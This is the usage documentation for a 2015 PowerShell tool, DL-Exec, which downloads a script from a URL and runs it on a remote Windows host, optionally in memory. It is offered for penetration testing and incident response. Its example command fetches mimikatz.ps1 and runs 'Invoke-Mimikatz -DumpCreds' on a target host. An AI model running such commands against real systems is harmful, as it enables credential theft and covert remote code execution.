Download and Execute - PowerShell
greg . foss [at] logrhythm . com
@heinzarelli
v0.1 -- July 2015
[About]
DL-Exec is a simple script that leverages user-supplied parameters to download and execute a PowerShell script with arguments on a remote host. This script can even run without touching disk via the memoryExec parameter, or if run-time parameters are required, the script can be downloaded and executed on the host directly.
[How To]
Execute a PowerShell script on a remote host in-memory:
PS C:\> dl-exec.ps1 -source http://some.site/mimikatz.ps1 -target 10.10.10.10 -memoryExec -arguments "Invoke-Mimikatz -DumpCreds"
Execute a PowerShell script on a remote host with run-time parameters:
PS C:\> dl-exec.ps1 -source http://some.site/honeyports.ps1 -target 10.10.10.10 -fileExec -arguments "-Ports 21,22"
[Use Cases]
#####Offensive
Execute various tools from frameworks like PowerSploit, Nishang, etc. on a remote host during penetration testing engagements.
#####Defensive
Execute various tools from frameworks like Kansa, Honeyports, etc. on a remote host during Active Defense and/or Incident Response scenarios.
#####Other
No matter the script, it's possible to chain additional commands depending on the goal...
[Parameter Breakdown]
Script Source and Target Host:
-source : Define the script source
-target : Define the remote host
Execution Parameters:
-memoryExec : Download and execute a script in memory
-fileExec : Download a script and execute it from the host (leaves more traces)
-arguments : Define the command-line arguments/switches/commands to be passed
(depending on how the script is executed)
Credentials:
-username : Administrative Username
-password : Administrative Password
If neither parameter is supplied, you will be prompted for credentials
(FYI -- It's a bad idea to supply credentials at the command line, but there are times when it may be required)
[License]
Copyright (c) 2015, Greg Foss All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
- Neither the name of Greg Foss, LogRhythm, LogRhythm Labs, nor the names of any of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
- This script is not 'forensically sound' as it will write to the target host. Please keep this in mind.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.